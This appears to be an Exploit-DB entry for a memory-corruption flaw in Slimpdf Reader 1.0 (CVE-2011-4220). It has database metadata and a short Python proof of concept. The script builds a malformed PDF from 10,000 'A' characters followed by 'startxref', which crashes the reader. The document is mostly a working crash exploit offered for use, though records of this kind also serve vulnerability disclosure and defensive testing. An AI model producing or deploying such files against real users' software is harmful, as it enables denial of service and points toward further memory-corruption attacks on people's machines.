Slimpdf Reader 1.0 - Memory Corruption

Author: Carlos Mario Penagos Hollmann
type: dos
platform: windows
port: 
date_added: 2012-06-25 
date_updated: 2012-06-25 
verified: 1 
codes: CVE-2011-4222;CVE-2011-4221;CVE-2011-4220;OSVDB-76849 
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt19500/screen-shot-2012-06-25-at-95854-am.png 
application_url: 

# Exploit Title:
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.investintech.com
# Version:1.0
# Tested on: Windows 7
# CVE : cve-2011-4220


payload ="A"*10000
crash="startxref"
pdf=payload+crash

filename = "slimpdPoC.pdf"
file = open(filename,"w")
file.writelines(pdf)
file.close()